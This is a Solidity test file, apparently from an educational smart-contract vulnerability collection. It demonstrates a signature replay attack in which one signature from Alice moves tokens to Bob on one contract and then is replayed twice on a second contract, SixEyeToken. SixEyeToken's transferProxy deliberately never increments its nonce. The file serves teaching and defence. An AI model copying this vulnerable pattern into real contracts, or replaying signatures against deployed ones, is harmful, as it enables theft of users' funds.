-
Notifications
You must be signed in to change notification settings - Fork 288
/
SignatureReplay.sol
250 lines (209 loc) · 7.59 KB
/
SignatureReplay.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
/*
Name: Signature Replay Vulnerability
Description:
In this scenario, Alice signs a transaction that allows Bob to transfer tokens from Alice's account
to Bob's account. Bob then replays this signature on multiple contracts
(in this case, the TokenWhale and SixEyeToken contracts), each time authorizing the transfer of tokens
from Alice's account to his. This is possible because the contracts use the same methodology for signing
and validating transactions, but they do not share a nonce to prevent replay attacks.
Missing protection against signature replay attacks, Same signature can be used multiple times to execute a function.
Mitigation:
Replay attacks can be prevented by implementing a nonce, a number that is only used once, into the signing and verification process.
REF:
https://medium.com/cryptronics/signature-replay-vulnerabilities-in-smart-contracts-3b6f7596df57
https://medium.com/cypher-core/replay-attack-vulnerability-in-ethereum-smart-contracts-introduced-by-transferproxy-124bf3694e25
*/
contract ContractTest is Test {
TokenWhale TokenWhaleContract;
SixEyeToken SixEyeTokenContract;
address alice = vm.addr(1);
address bob = vm.addr(2);
constructor() {
TokenWhaleContract = new TokenWhale();
TokenWhaleContract.TokenWhaleDeploy(address(this));
TokenWhaleContract.transfer(alice, 1000);
SixEyeTokenContract = new SixEyeToken();
SixEyeTokenContract.TokenWhaleDeploy(address(this));
SixEyeTokenContract.transfer(alice, 1000);
}
function testSignatureReplay() public {
emit log_named_uint(
"Balance",
TokenWhaleContract.balanceOf(address(this))
);
bytes32 hash = keccak256(
abi.encodePacked(
address(alice),
address(bob),
uint256(499),
uint256(1),
uint256(0)
)
);
emit log_named_bytes32("hash", hash);
// The {r, s, v} signature can be combined into one 65-byte-long sequence: 32 bytes for r , 32 bytes for s , and one byte for v
//r - a point on the secp256k1 elliptic curve (32 bytes)
//s - a point on the secp256k1 elliptic curve (32 bytes)
//v - recovery id (1 byte)
(uint8 v, bytes32 r, bytes32 s) = vm.sign(1, hash);
emit log_named_uint("v", v);
emit log_named_bytes32("r", r);
emit log_named_bytes32("s", s);
address alice_address = ecrecover(hash, v, r, s);
emit log_named_address("alice_address", alice_address);
emit log_string(
"If attacker got the Alice's signature, the attacker can replay this signature on the others contracts with same method."
);
vm.startPrank(bob);
TokenWhaleContract.transferProxy(
address(alice),
address(bob),
499,
1,
v,
r,
s
);
// Bob successfully transferred funds from Alice.
emit log_named_uint(
"SET token balance of Bob",
TokenWhaleContract.balanceOf(address(bob))
);
// Because we have nonce protect to replay, so we can not replay again in the same contract.
// BTW this nonce start from 0, it's not a best practice.
// TokenWhaleContract.transferProxy(address(alice),address(bob),499,1,v,r,s);
// emit log_named_uint("Balance of Bob",TokenWhaleContract.balanceOf(address(bob)));
emit log_string(
"Try to replay to another contract with same signature"
);
emit log_named_uint(
"Before the replay, SIX token balance of bob:",
SixEyeTokenContract.balanceOf(address(bob))
);
SixEyeTokenContract.transferProxy(
address(alice),
address(bob),
499,
1,
v,
r,
s
);
emit log_named_uint(
"After the replay, SIX token balance of bob:",
SixEyeTokenContract.balanceOf(address(bob))
);
SixEyeTokenContract.transferProxy(
address(alice),
address(bob),
499,
1,
v,
r,
s
);
emit log_named_uint(
"After the second replay, SIX token balance of bob:",
SixEyeTokenContract.balanceOf(address(bob))
);
}
}
contract TokenWhale is Test {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;
mapping(address => uint256) nonces;
function TokenWhaleDeploy(address _player) public {
player = _player;
totalSupply = 2000;
balanceOf[player] = 2000;
}
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
function transferProxy(
address _from,
address _to,
uint256 _value,
uint256 _feeUgt,
uint8 _v,
bytes32 _r,
bytes32 _s
) public returns (bool) {
uint256 nonce = nonces[_from];
emit log_named_uint("nonce", nonce);
bytes32 h = keccak256(
abi.encodePacked(_from, _to, _value, _feeUgt, nonce)
);
if (_from != ecrecover(h, _v, _r, _s)) revert();
if (
balanceOf[_to] + _value < balanceOf[_to] ||
balanceOf[msg.sender] + _feeUgt < balanceOf[msg.sender]
) revert();
balanceOf[_to] += _value;
balanceOf[msg.sender] += _feeUgt;
balanceOf[_from] -= _value + _feeUgt;
nonces[_from] = nonce + 1;
return true;
}
}
contract SixEyeToken is Test {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Six Eye Token";
string public symbol = "SIX";
uint8 public decimals = 18;
mapping(address => uint256) nonces;
function TokenWhaleDeploy(address _player) public {
player = _player;
totalSupply = 2000;
balanceOf[player] = 2000;
}
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
function transferProxy(
address _from,
address _to,
uint256 _value,
uint256 _feeUgt,
uint8 _v,
bytes32 _r,
bytes32 _s
) public returns (bool) {
uint256 nonce = nonces[_from];
bytes32 h = keccak256(
abi.encodePacked(_from, _to, _value, _feeUgt, nonce)
);
if (_from != ecrecover(h, _v, _r, _s)) revert();
if (
balanceOf[_to] + _value < balanceOf[_to] ||
balanceOf[msg.sender] + _feeUgt < balanceOf[msg.sender]
) revert();
balanceOf[_to] += _value;
balanceOf[msg.sender] += _feeUgt;
balanceOf[_from] -= _value + _feeUgt;
return true;
}
}